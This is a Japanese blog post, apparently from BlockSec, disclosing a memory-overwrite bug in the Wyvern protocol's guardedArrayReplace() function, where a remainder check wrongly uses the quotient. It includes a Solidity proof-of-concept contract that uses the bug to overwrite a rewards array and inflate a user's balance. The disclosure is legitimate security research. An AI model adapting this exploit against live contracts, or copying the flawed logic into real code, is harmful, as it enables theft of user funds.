Back to Blog

ワイバーンプロトコルにおける新規メモリ上書き脆弱性の発見

Code Auditing
September 8, 2022
7 min read

はじめに

弊社の脆弱性検出システムは、以前OpenSeaが利用していたWyvern分散型取引プロトコルに属するWyvernライブラリの最新実装において、メモリ上書きの脆弱性を発見しました。このバグは任意のストレージ書き込みにつながる可能性があります。

プロジェクトには(Eメールやソーシャルメディアなどを通じて)連絡を試みましたが、まだ返信はありません。OpenSeaはSeaportプロトコルに移行したため、詳細情報を公に開示しても安全だと考えています。さらに、このバグ自体は少しトリッキーであり、エクスプロイトは非常に興味深いため、これらの発見を共有してコミュニティを活性化したいと考えています。

説明

脆弱性のあるコードは、コミットハッシュ4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9で公式コードリポジトリで見つけることができます。

具体的には、このバグはArrayUtils.solの_guardedArrayReplace()_関数に存在します。名前が示すように、この関数は動的サイズのバイト配列(すなわち、_desired_という名前の2番目のパラメータ)を別の配列(すなわち、_array_という名前の最初のパラメータ)に選択的にコピーするために使用されます。この関数はワードレベル(すなわち、0x20バイト)の操作を実行するように実装されているため、コードロジックは除算の計算結果に基づいて2つのステップに分けることができます。

商の部分(すなわち、_words = array.length / 0x20)では、行42から49までのコードロジックは、ワードごとに_desired_配列をターゲット配列にコピーします。このステップは期待どおりに機能しますが、行39のアサート文は整数演算のために無効です。

前のステップの後、除算で余りが発生する場合、一部のバイトが正しくコピーされずに残っていることを意味します。行52から66までのコードロジックは、これらのバイトを処理するように設計されています。残念ながら、行52の_if_文は、誤って余り(array.length % 0x20_)ではなく商(words、すなわち array.length / 0x20)を使用してチェックを実行します

重大度

このバグは任意のストレージ書き込みにつながる可能性があります。_array.length_が_0x20_で正確に割り切れると仮定すると、コピー操作は実際にはループロジックで実行されます。しかし、ほとんどの場合、関数は脆弱なロジックに入り_desired_配列の後ろのワードをターゲット配列にコピーしようとします。これは避けられない境界外アクセスを引き起こします。さらに悪いことに、間違ったロジックを悪用して、ターゲット配列の末尾(未知のメモリ領域で、どのような用途にも使用できます)にワードを上書きすることができます。

このバグを悪用する方法は?

潜在的な攻撃ベクトルを説明するためのPoCコントラクトを開発しました。PoCコントラクトは2つの関数を持ち、最初の関数_test()_は攻撃を実行するために使用され、2番目の関数は脆弱な_guardedArrayReplace()_関数です。

具体的には、test()関数内で、まずメモリ上のいくつかのバイト(abmask)と配列(すなわち、_rewards)を定義します。ここで定義される__rewards_は、ユーザーの報酬を計算するために使用されます。_guardedArrayReplace()関数を呼び出して_a_を_b_に_mask_でコピーした後、_rewards_がユーザーの残高(すなわち、balances[msg.sender])に追加されます。

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

ここではRemixを使用して結果を示します。当初__rewards_と_balances_に値を割り当てていないことに注意してください。エクスプロイト後、ユーザーの残高は非常に大きな値に設定されます(赤い四角で示されています)。

結論

まれではありますが、このようなメモリ上書きの脆弱性はスマートコントラクトに依然として存在する可能性があります。開発者は、メモリを操作するコードロジックに注意を払う必要があります。

BlockSecについて

BlockSecは、2021年に世界的に著名なセキュリティ専門家チームによって設立された、先駆的なブロックチェーンセキュリティ企業です。同社は、Web3の世界のセキュリティとユーザビリティを強化し、その大規模な普及を促進することに尽力しています。この目的のため、BlockSecはスマートコントラクトおよびEVMチェーンのセキュリティ監査サービス、セキュリティ開発と脅威のプロアクティブなブロックのためのPhalconプラットフォーム、資金追跡および調査のためのMetaSleuthプラットフォーム、そしてWeb3ビルダーが暗号世界を効率的にサーフィンするためのMetaDock拡張機能を提供しています。

現在までに、同社はMetaMask、Uniswap Foundation、Compound、Forta、PancakeSwapなど300以上の著名なクライアントにサービスを提供し、Matrix Partners、Vitalbridge Capital、Fenbushi Capitalなどの著名な投資家から2回の資金調達で数千万米ドルを受け取っています。

公式ウェブサイト:https://blocksec.com/

公式Twitterアカウント:https://twitter.com/BlockSecTeam

Sign up for the latest updates
The Decentralization Dilemma: Cascading Risk and Emergency Power in the KelpDAO Crisis
Security Insights

The Decentralization Dilemma: Cascading Risk and Emergency Power in the KelpDAO Crisis

This BlockSec deep-dive analyzes the KelpDAO $290M rsETH cross-chain bridge exploit (April 18, 2026), attributed to the Lazarus Group, tracing a causal chain across three layers: how a single-point DVN dependency enabled the attack, how DeFi composability cascaded the damage through Aave V3 lending markets to freeze WETH liquidity exceeding $6.7B across Ethereum, Arbitrum, Base, Mantle, and Linea, and how the crisis forced decentralized governance to exercise centralized emergency powers. The article examines three parameters that shaped the cascade's severity (LTV, pool depth, and cross-chain deployment count) and provides an exclusive technical breakdown of Arbitrum Security Council's forced state transition, an atomic contract upgrade that moved 30,766 ETH without the holder's signature.

Weekly Web3 Security Incident Roundup | Apr 13 – Apr 19, 2026
Security Insights

Weekly Web3 Security Incident Roundup | Apr 13 – Apr 19, 2026

This BlockSec weekly security report covers four attack incidents detected between April 13 and April 19, 2026, across multiple chains such as Ethereum, Unichain, Arbitrum, and NEAR, with total estimated losses of approximately $310M. The highlighted incident is the $290M KelpDAO rsETH bridge exploit, where an attacker poisoned the RPC infrastructure of the sole LayerZero DVN to fabricate a cross-chain message, triggering a cascading WETH freeze across five chains and an Arbitrum Security Council forced state transition that raises questions about the actual trust boundaries of decentralized systems. Other incidents include a $242K MMR proof forgery on Hyperbridge, a $1.5M signed integer abuse on Dango, and an $18.4M circular swap path exploit on Rhea Finance's Burrowland protocol.

Weekly Web3 Security Incident Roundup | Apr 6 – Apr 12, 2026
Security Insights

Weekly Web3 Security Incident Roundup | Apr 6 – Apr 12, 2026

This BlockSec weekly security report covers four DeFi attack incidents detected between April 6 and April 12, 2026, across Linea, BNB Chain, Arbitrum, Optimism, Avalanche, and Base, with total estimated losses of approximately $928.6K. Notable incidents include a $517K approval-related exploit where a user mistakenly approved a permissionless SquidMulticall contract enabling arbitrary external calls, a $193K business logic flaw in the HB token's reward-settlement logic that allowed direct AMM reserve manipulation, a $165.6K exploit in Denaria's perpetual DEX caused by a rounding asymmetry compounded with an unsafe cast, and a $53K access control issue in XBITVault caused by an initialization-dependent check that failed open. The report provides detailed vulnerability analysis and attack transaction breakdowns for each incident.

Best Security Auditor for Web3

Validate design, code, and business logic before launch. Aligned with the highest industry security standards.

BlockSec Audit